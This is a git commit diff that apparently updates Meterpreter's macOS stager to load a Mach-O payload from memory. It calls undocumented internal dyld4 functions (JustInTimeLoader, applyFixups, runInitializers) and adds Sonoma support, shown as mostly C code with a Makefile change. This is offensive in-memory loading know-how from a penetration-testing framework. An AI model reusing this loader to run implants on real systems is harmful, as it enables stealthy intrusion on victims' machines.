Cleanup for Sonoma Dyld

This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
This commit is contained in:
usiegl00
2023-06-19 09:42:00 +02:00
parent 0415565396
commit b8068bc781
6 changed files with 1160 additions and 238 deletions
+1 -1
View File
@@ -92,7 +92,7 @@ _main:
mov x0, x13
/* jump to main_osx */
br x15
blr x15
failed:
mov x0, 0
+13 -1
View File
@@ -6,16 +6,28 @@ GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64
all: clean x64_osx_stage aarch64_osx_stage
debug: clean x64_osx_stage_debug aarch64_osx_stage_debug
x64_osx_stage: main.c
$(GCC_OSX_X64) -o $@ $^
x64_osx_stage_debug: main.c
$(GCC_OSX_X64) -D DEBUG -o $@ $^ printf/printf.c
aarch64_osx_stage: main.c
$(GCC_OSX_AARCH64) -o $@ $^
aarch64_osx_stage_debug: main.c
$(GCC_OSX_AARCH64) -D DEBUG -o $@ $^ printf/printf.c
install: x64_osx_stage aarch64_osx_stage
cp x64_osx_stage ../../../../../data/meterpreter/x64_osx_stage
cp aarch64_osx_stage ../../../../../data/meterpreter/aarch64_osx_stage
install_debug: x64_osx_stage_debug aarch64_osx_stage_debug
cp x64_osx_stage_debug ../../../../../data/meterpreter/x64_osx_stage
cp aarch64_osx_stage_debug ../../../../../data/meterpreter/aarch64_osx_stage
x64_shellcode: install
otool -tv x64_osx_stage
@@ -23,5 +35,5 @@ aarch64_shellcode: install
otool -tv aarch64_osx_stage
clean:
rm -f *.o x64_osx_stage aarch64_osx_stage
rm -f *.o x64_osx_stage aarch64_osx_stage x64_osx_stage_debug aarch64_osx_stage_debug
+114 -235
View File
@@ -1,3 +1,5 @@
/*
* References:
* @parchedmind
@@ -184,6 +186,19 @@ struct LoadOptions
Missing pathNotFoundHandler;// = nullptr;
};
struct InitialOptions
{
bool inDyldCache;// = false;
bool hasObjc;// = false;
bool mayHavePlusLoad;// = false;
bool roData;// = false;
bool neverUnloaded;// = false;
bool leaveMapped;// = false;
bool roObjC;// = false;
bool pre2022Binary;// = false;
};
struct Loaded {
void* _allocator;// = nullptr;
void* * elements;// = nullptr;
@@ -235,18 +250,24 @@ typedef NSSymbol (*NSLookupSymbolInModule_ptr)(NSModule module, const char *symb
typedef void * (*NSAddressOfSymbol_ptr)(NSSymbol symbol);
typedef /*Loader*/void * (*JustInTimeLoaderMake_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex, uint64_t layout);
typedef /*Loader*/void * (*JustInTimeLoaderMake2_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex);
typedef void * (*AnalyzeSegmentsLayout_ptr)(void *ma, uintptr_t * vmSpace, bool * hasZeroFill);
typedef void * (*VMAllocate_ptr)(uint64_t target_task, void * address, uint64_t size, int flags);
typedef void * (*VMDeallocate_ptr)(uint64_t target_task, void * address, uint64_t size);
typedef void * (*WithRegions_ptr)(void *ma, void * callback);
//typedef uint32_t (*DependentDylibCount_ptr)(void *ma, bool * alldepsarenormal);
//typedef bool (*HasPlusLoad_ptr)(void *ma);
typedef void * (*MMap_ptr)(void * sdg, void *addr, size_t length, int prot, int flags, int fd, uint64_t offset);
void * memcpy2(void *dest, const void *src, size_t len);
typedef void * (*Mprotect_ptr)(void * sdg, void * dst, uint64_t length, int prot);
typedef void (*WithLoadersWriteLock_ptr)(void *apis, void * callback);
//typedef void * (*LoaderLoader_ptr)(void * loader, const struct InitialOptions *, bool prebuilt, bool prebuiltApp, bool prebuiltIndex);
typedef void (*LoadDependents_ptr)(void *topLoader, const struct diagnostics * diag, void * apis, const struct LoadOptions * lo);
//typedef bool (*EnforceFormat_ptr)(void * ma, int malformed);
typedef void (*RunInitializers_ptr)(void *topLoader, void * apis);
typedef void * (*HandleFromLoader_ptr)(void *loader, bool firstOnly);
typedef void (*IncDlRefCount_ptr)(void *apis, void * topLoader);
//typedef void (*AddLoader_ptr)(void *apis, void * topLoader);
typedef void (*NotifyLoad_ptr)(void * apis, struct ArrayOfLoaderPointers * newLoaders);
typedef void (*NotifyDebuggerLoad_ptr)(void * apis, const struct ArrayOfLoaderPointers * aolp);
typedef void (*ApplyFixups_ptr)(void * ldr, const struct diagnostics * diag, void * apis, struct DyldCacheDataConstLazyScopedWriter * dcd, bool b);
@@ -269,25 +290,13 @@ uint64_t roundUp(uint64_t numToRound, uint64_t multiple);
//#define DEBUG
#ifdef DEBUG
static void print(char * str);
#define printf(a,b) print(a);
#endif
#ifdef __aarch64__
/*
typedef uint64_t (*VDPrintf_ptr)(uint64_t fd, const char * fmt, ...);
void printf_sdyld_arm64(char * a, void * b, uint64_t sdyld) {
VDPrintf_ptr VDPrintf_func = find_symbol(sdyld, "__simple_vdprintf", sdyld);
//VDPrintf_func(1, a, b);
printf(a,b);
}*/
#define printf_sdyld(a,b) print(a);
#else
typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, ...);
void printf_sdyld_x86_64(char * a, void * b, uint64_t sdyld) {
SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
SimpleDPrintf_func(1, a, b);
#include "printf/printf.h"
void _putchar(char character) {
print(&character);
}
#define printf_sdyld(a,b) printf_sdyld_x86_64(a, b, sdyld);
#else
#define print(a)
#define printf(a,b)
#endif
@@ -296,9 +305,7 @@ void printf_sdyld_x86_64(char * a, void * b, uint64_t sdyld) {
int main(int argc, char** argv)
{
#ifdef DEBUG
print("main!\n");
#endif
uint64_t buffer = 0;
uint64_t buffer_size = 0;
#ifdef __aarch64__
@@ -313,9 +320,7 @@ int main(int argc, char** argv)
: "=g"(buffer), "=g"(buffer_size));
#endif
#ifdef DEBUG
print("hello world!\n");
#endif
int sierra = detect_sierra();
uint64_t binary = DYLD_BASE_ADDR;
@@ -366,9 +371,7 @@ int main(int argc, char** argv)
}
NSCreateObjectFileImageFromMemory_func = find_symbol(dyld, "_NSCreateObjectFileImageFromMemory", offset);
}
#ifdef DEBUG
print("good symbol!\n");
#endif
// gDyld is a special struct that libdyld.dylib uses to interface with dyld4.
// gDyld is not present in dyld3 and back.
@@ -376,33 +379,23 @@ int main(int argc, char** argv)
//printf("gDyld: %lld\n", gDyld);
void * addr_main = 0;
if (gDyld != 0) {
#ifdef DEBUG
print("gDyld found, using dual hijack technique.\n");
#endif
// Also known as the RuntimeState or Allocator.
void* apis = ((struct libdyldDyld4Section*)gDyld)->apis;
#ifdef DEBUG
printf("apis: %lld\n", apis);
printf("config: %i\n", (int)*(void **)(apis+8));
#endif
printf("config: %lld\n", *(void **)(apis+8));
// config is offset around 0x100000 from the start of dyld4.
uint64_t base = roundUp((uint64_t)(*(void **)(apis+8) - 0x00100000), 0x1000);
#ifdef DEBUG
printf("base: %lld\n", base);
#endif
// sdyld will be the address of dyld4, which contains mangled symbols.
uint64_t sdyld = find_macho(base, 0x1000);
uint64_t offset2 = sdyld;
#ifdef DEBUG
printf("sdyld: %lld\n", sdyld);
#endif
MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
while (!MMap_func) {
sdyld = find_macho(sdyld + 0x1000, 0x1000);
if (sdyld == 1) {
#ifdef DEBUG
print("failed.\n");
#endif
return 1;
}
//printf("Dyld: %lld\n", sdyld);
@@ -410,68 +403,51 @@ int main(int argc, char** argv)
}
//printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
JustInTimeLoaderMake_ptr JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld313MachOAnalyzerEPKcRKNS_6FileIDEybbbt", offset2);
JustInTimeLoaderMake2_ptr JustInTimeLoaderMake2_func = 0;
bool ventura = false;
if (!JustInTimeLoaderMake_func) {
offset2 = offset;
ventura = true;
MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld39MachOFileEPKcRKNS_6FileIDEybbbtPKN6mach_o6LayoutE", offset2);
JustInTimeLoaderMake2_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld39MachOFileEPKcRKNS_6FileIDEybbbtPKN6mach_o6LayoutE", offset2);
}
if (ventura) {
#ifdef DEBUG
print("Ventura!\n");
#endif
}
#ifdef DEBUG
//printf_sdyld("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
printf_sdyld("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", offset2));
#endif
//printf("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
printf("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", offset2));
// Loader::mapSegments
uintptr_t vmSpace = 0;
bool hasZeroFill;
*(uint32_t*)buffer = 0xfeedfacf;
#ifdef DEBUG
printf_sdyld("Buffer: %lld\n", buffer);
#endif
printf("Buffer: %lld\n", buffer);
if (ventura) {
// MachOFile =~= MachOAnalyzer
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile21analyzeSegmentsLayoutERyRb", offset2);
#ifdef DEBUG
print("Analyzing Segments.\n");
#endif
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
} else {
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld313MachOAnalyzer21analyzeSegmentsLayoutERyRb", offset2);
#ifdef DEBUG
print("Analyzing Segments.\n");
#endif
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
};
#ifdef DEBUG
printf_sdyld("vmSpace: %lld\n", vmSpace);
#endif
printf("vmSpace: %lld\n", vmSpace);
bool isTranslated = false; // Rosetta.
uint64_t extraAllocSize = 0;
if ((*(uint64_t **)(apis + 8))[0x7c] != 0) {
isTranslated = true;
#ifdef DEBUG
print("Rosetta.\n");
#endif
// TODO: Rosseta requires a bit more space...
extraAllocSize = 0x0;
}
vmSpace += extraAllocSize;
#ifdef DEBUG
printf_sdyld("Translated: %s\n", isTranslated ? "true" : "false");
#endif
printf("Translated: %s\n", isTranslated ? "true" : "false");
uintptr_t loadAddress = 0;
VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", offset2);
uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", offset2);
void * vmallocate_ret = VMAllocate_func(mach_task_self, &loadAddress, vmSpace, /*VM_FLAGS_ANYWHERE: */0x1);
#ifdef DEBUG
printf_sdyld("VMAllocate Ret: %lld\n", vmallocate_ret);
printf_sdyld("LoadAddress: %lld\n", loadAddress);
#endif
printf("VMAllocate Ret: %lld\n", vmallocate_ret);
printf("LoadAddress: %lld\n", loadAddress);
// Put regions together...
// JustInTimeLoader::withRegions via MachOAnalyzer::getAllSegmentsInfos
WithRegions_ptr WithRegions_func = 0;
@@ -481,57 +457,45 @@ int main(int argc, char** argv)
WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", offset2);
};
WithRegions_func((void*)buffer, ^(struct ArrayOfRegions * rptr) {
#ifdef DEBUG
printf_sdyld("Region Ptrs: %lld\n", rptr);
printf_sdyld("usedCount: %lld\n", rptr->_usedCount);
printf_sdyld("allocCount: %lld\n", rptr->_allocCount);
#endif
printf("Region Ptrs: %lld\n", rptr);
printf("usedCount: %lld\n", rptr->_usedCount);
printf("allocCount: %lld\n", rptr->_allocCount);
uint32_t segIndex = 0;
uint64_t sliceOffset = 0;
uint64_t lastOffset = 0;
for (int i = 0 ; i < rptr->_usedCount; i++) {
const struct Region region = rptr->_elements[i];
#ifdef DEBUG
printf_sdyld("Region vmOffset: %lld\n", region.vmOffset);
printf_sdyld("Region perms: %lld\n", region.perms);
printf_sdyld("Region isZeroFill: %lld\n", region.isZeroFill);
printf_sdyld("Region readOnlyData: %lld\n", region.readOnlyData);
printf_sdyld("Region fileOffset: %lld\n", region.fileOffset);
printf_sdyld("Region fileSize: %lld\n", region.fileSize);
printf("Region vmOffset: %lld\n", region.vmOffset);
printf("Region perms: %lld\n", region.perms);
printf("Region isZeroFill: %lld\n", region.isZeroFill);
printf("Region readOnlyData: %lld\n", region.readOnlyData);
printf("Region fileOffset: %lld\n", region.fileOffset);
printf("Region fileSize: %lld\n", region.fileSize);
print("----\n");
#endif
if ( region.isZeroFill || (region.fileSize == 0) )
continue;
if ( (region.vmOffset == 0) && (segIndex > 0) )
continue;
int perms = region.perms;
#ifdef DEBUG
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
printf_sdyld("Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
printf_sdyld("Size: %lld\n", (size_t)region.fileSize);
printf_sdyld("Perms: %lld\n", region.perms);
printf_sdyld("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
printf_sdyld("FD: %lld\n", (int)-1);
printf_sdyld("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
#endif
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
printf("Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
printf("Size: %lld\n", (size_t)region.fileSize);
printf("Perms: %lld\n", region.perms);
printf("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
printf("FD: %lld\n", (int)-1);
printf("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
// MMap will init this with zeros.
void* segAddress = MMap_func(*(void **)(apis+ 8), (void*)(loadAddress + region.vmOffset), (size_t)region.fileSize, PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
lastOffset = loadAddress + region.vmOffset + region.fileSize;
#ifdef DEBUG
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
printf_sdyld("Buffer: %lld\n", buffer);
printf_sdyld("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
#endif
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
printf("Buffer: %lld\n", buffer);
printf("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
memcpy2(segAddress, (const void *)(buffer + sliceOffset + region.fileOffset), (size_t)region.fileSize);
#ifdef DEBUG
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
#endif
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", offset2);
Mprotect_func(*(void **)(apis+ 8), segAddress, (size_t)region.fileSize, perms);
#ifdef DEBUG
printf_sdyld("SegAddress: %lld\n", segAddress);
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
#endif
printf("SegAddress: %lld\n", segAddress);
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
++segIndex;
}
});
@@ -546,59 +510,46 @@ int main(int argc, char** argv)
sizeof(struct LoadChain)+ // loadChain
sizeof(struct LoadOptions)+ // depOptions
sizeof(struct diagnostics); // diag
int initialoptionsoffset = structspacesize;
VMAllocate_func(mach_task_self, &structspace, structspacesize, 0x1);
uint64_t * rtopLoader = (uint64_t *)(structspace);;
if (ventura) {
struct Loaded * loaded = (struct Loaded*)(apis+32);
uintptr_t startLoaderCount = loaded->size;
#ifdef DEBUG
printf_sdyld("Loaded Size: %lld\n", loaded->size);
printf_sdyld("Loaded first: %lld\n", (loaded->elements));
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
#endif
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded first: %lld\n", (loaded->elements));
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
fileid->iNode = 0;
fileid->modTime = 0;
fileid->isValid = false;
#ifdef DEBUG
printf_sdyld("Apis: %lld\n", apis);
printf_sdyld("LoadAddress: %lld\n", loadAddress);
printf_sdyld("JITLMP: %lld\n", JustInTimeLoaderMake_func);
#endif
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0, 0);
#ifdef DEBUG
printf_sdyld("TopLoader: %lld\n", topLoader);
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf_sdyld("Loaded Size: %lld\n", loaded->size);
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
#endif
printf("Apis: %lld\n", apis);
printf("LoadAddress: %lld\n", loadAddress);
printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
void * topLoader = JustInTimeLoaderMake2_func(apis, (void *)loadAddress, "A", fileid, 0, false, true, false, 0);
printf("TopLoader: %lld\n", topLoader);
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
printf_sdyld("LoadAddress: %lld\n", pl->mappedAddress);
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf_sdyld("hidden: %lld\n", pl->hidden);
printf_sdyld("Magic: %lld\n", pl->magic);
printf_sdyld("IsPrebuilt: %lld\n", pl->isPrebuilt);
#endif
printf("LoadAddress: %lld\n", pl->mappedAddress);
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf("hidden: %lld\n", pl->hidden);
printf("Magic: %lld\n", pl->magic);
printf("IsPrebuilt: %lld\n", pl->isPrebuilt);
pl->lateLeaveMapped = 1;
pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
#endif
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
loadChainMain->previous = 0;
loadChainMain->image = *(void **)(apis+24);
#ifdef DEBUG
printf_sdyld("mainExecutableLoader: %lld\n", *(void **)(apis+24));
printf_sdyld("mainExecutableLoader: %lld\n", loadChainMain->image);
#endif
printf("mainExecutableLoader: %lld\n", *(void **)(apis+24));
printf("mainExecutableLoader: %lld\n", loadChainMain->image);
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
loadChainCaller->previous = &loadChainMain;
loadChainCaller->image = &(loaded->elements[0]);
#ifdef DEBUG
printf_sdyld("LoadedElements: %lld\n", &(loaded->elements[0]));
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
#endif
printf("LoadedElements: %lld\n", &(loaded->elements[0]));
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
loadChain->previous = &loadChainCaller;
loadChain->image = topLoader;
@@ -614,18 +565,12 @@ int main(int argc, char** argv)
diag->_buffer = 0;
LoadDependents_func(topLoader, diag, apis, depOptions);
if (diag->_buffer != 0) {
#ifdef DEBUG
print("Error\n");
#endif
};
#ifdef DEBUG
printf_sdyld("buffer: %lld\n", diag->_buffer);
printf_sdyld("startLoaderCount: %lld\n", startLoaderCount);
#endif
printf("buffer: %lld\n", diag->_buffer);
printf("startLoaderCount: %lld\n", startLoaderCount);
uint64_t newLoadersCount = loaded->size - startLoaderCount;
#ifdef DEBUG
printf_sdyld("newLoadersCount: %lld\n", newLoadersCount);
#endif
printf("newLoadersCount: %lld\n", newLoadersCount);
void * * newLoaders = &loaded->elements[startLoaderCount];
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
if (newLoadersCount != 0) {
@@ -634,24 +579,16 @@ int main(int argc, char** argv)
if (*(char *)(apis + 0x7f) != '\0') {
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKNSt3__14spanIPKS0_Lm18446744073709551615EEE", offset2);
AddWeakDefs_func(apis, &newLoadersArray);
#ifdef DEBUG
print("WeakRefed\n");
#endif
}
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", offset2);
struct DyldCacheDataConstLazyScopedWriter dcdclsw = { apis, false };
for (int i = 0; i != newLoadersCount; ++i) {
#ifdef DEBUG
print("Fixing Up!\n");
#endif
void * ldr = newLoaders[i];
#ifdef DEBUG
printf_sdyld("Ldr: %lld\n", ldr);
#endif
printf("Ldr: %lld\n", ldr);
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
#ifdef DEBUG
printf_sdyld("Diag: %lld\n", diag->_buffer);
#endif
printf("Diag: %lld\n", diag->_buffer);
}
// TODO: Figure out if we need addPermanentRanges.
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
@@ -660,16 +597,12 @@ int main(int argc, char** argv)
RebindMissingFlatLazySymbols_func(apis, &newLoadersArray);
for (int i = 0; i != newLoadersCount; ++i) {
void * ldr = newLoaders[i];
#ifdef DEBUG
print("Setting up locals.\n");
#endif
GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", offset2);
const void* * ma = GetMA_func(ldr, apis);
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", offset2);
if (HasThreadLocalVariables_func(ma) == true) {
#ifdef DEBUG
print("Has local variables.\n");
#endif
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", offset2);
SetUpTLVs_func(apis, ma);
}
@@ -677,14 +610,10 @@ int main(int argc, char** argv)
}
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", offset2);
IncDlRefCount_func(apis, topLoader);
#ifdef DEBUG
print("Notifying.\n");
#endif
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
NotifyLoad_func(apis, &newLoadersArray);
#ifdef DEBUG
print("Initializing\n");
#endif
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", offset2);
RunInitializers_func(topLoader, apis);
*rtopLoader = (uint64_t)topLoader;
@@ -693,54 +622,40 @@ int main(int argc, char** argv)
WithLoadersWriteLock_func(apis, ^(){
struct Loaded * loaded = (struct Loaded*)(apis+32);
uintptr_t startLoaderCount = loaded->size;
#ifdef DEBUG
printf_sdyld("Loaded Size: %lld\n", loaded->size);
printf_sdyld("Loaded first: %lld\n", (loaded->elements));
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
#endif
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded first: %lld\n", (loaded->elements));
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
fileid->iNode = 0;
fileid->modTime = 0;
fileid->isValid = false;
#ifdef DEBUG
printf_sdyld("Apis: %lld\n", apis);
printf_sdyld("LoadAddress: %lld\n", loadAddress);
printf_sdyld("JITLMP: %lld\n", JustInTimeLoaderMake_func);
#endif
printf("Apis: %lld\n", apis);
printf("LoadAddress: %lld\n", loadAddress);
printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0, 0);
#ifdef DEBUG
printf_sdyld("TopLoader: %lld\n", topLoader);
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf_sdyld("Loaded Size: %lld\n", loaded->size);
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
#endif
printf("TopLoader: %lld\n", topLoader);
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
printf_sdyld("LoadAddress: %lld\n", pl->mappedAddress);
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf_sdyld("hidden: %lld\n", pl->hidden);
printf_sdyld("Magic: %lld\n", pl->magic);
printf_sdyld("IsPrebuilt: %lld\n", pl->isPrebuilt);
#endif
printf("LoadAddress: %lld\n", pl->mappedAddress);
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf("hidden: %lld\n", pl->hidden);
printf("Magic: %lld\n", pl->magic);
printf("IsPrebuilt: %lld\n", pl->isPrebuilt);
pl->lateLeaveMapped = 1;
pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
#endif
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
loadChainMain->previous = 0;
loadChainMain->image = *(void **)(apis+24);
#ifdef DEBUG
printf_sdyld("mainExecutableLoader: %lld\n", *(void **)(apis+24));
printf_sdyld("mainExecutableLoader: %lld\n", loadChainMain->image);
#endif
printf("mainExecutableLoader: %lld\n", *(void **)(apis+24));
printf("mainExecutableLoader: %lld\n", loadChainMain->image);
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
loadChainCaller->previous = &loadChainMain;
loadChainCaller->image = &(loaded->elements[0]);
#ifdef DEBUG
printf_sdyld("LoadedElements: %lld\n", &(loaded->elements[0]));
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
#endif
printf("LoadedElements: %lld\n", &(loaded->elements[0]));
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
loadChain->previous = &loadChainCaller;
loadChain->image = topLoader;
@@ -756,18 +671,12 @@ int main(int argc, char** argv)
diag->_buffer = 0;
LoadDependents_func(topLoader, diag, apis, depOptions);
if (diag->_buffer != 0) {
#ifdef DEBUG
print("Error\n");
#endif
};
#ifdef DEBUG
printf_sdyld("buffer: %lld\n", diag->_buffer);
printf_sdyld("startLoaderCount: %lld\n", startLoaderCount);
#endif
printf("buffer: %lld\n", diag->_buffer);
printf("startLoaderCount: %lld\n", startLoaderCount);
uint64_t newLoadersCount = loaded->size - startLoaderCount;
#ifdef DEBUG
printf_sdyld("newLoadersCount: %lld\n", newLoadersCount);
#endif
printf("newLoadersCount: %lld\n", newLoadersCount);
void * * newLoaders = &loaded->elements[startLoaderCount];
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
if (newLoadersCount != 0) {
@@ -776,24 +685,16 @@ int main(int argc, char** argv)
if (*(char *)(apis + 0x7f) != '\0') {
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKN5dyld35ArrayIPKS0_EE", offset2);
AddWeakDefs_func(apis, &newLoadersArray);
#ifdef DEBUG
print("WeakRefed\n");
#endif
}
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", offset2);
struct DyldCacheDataConstLazyScopedWriter dcdclsw = { apis, false };
for (int i = 0; i != newLoadersCount; ++i) {
#ifdef DEBUG
print("Fixing Up!\n");
#endif
void * ldr = newLoaders[i];
#ifdef DEBUG
printf_sdyld("Ldr: %lld\n", ldr);
#endif
printf("Ldr: %lld\n", ldr);
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
#ifdef DEBUG
printf_sdyld("Diag: %lld\n", diag->_buffer);
#endif
printf("Diag: %lld\n", diag->_buffer);
}
// TODO: Figure out if we need addPermanentRanges.
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
@@ -802,16 +703,12 @@ int main(int argc, char** argv)
RebindMissingFlatLazySymbols_func(apis, &newLoadersArray);
for (int i = 0; i != newLoadersCount; ++i) {
void * ldr = newLoaders[i];
#ifdef DEBUG
print("Setting up locals.\n");
#endif
GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", offset2);
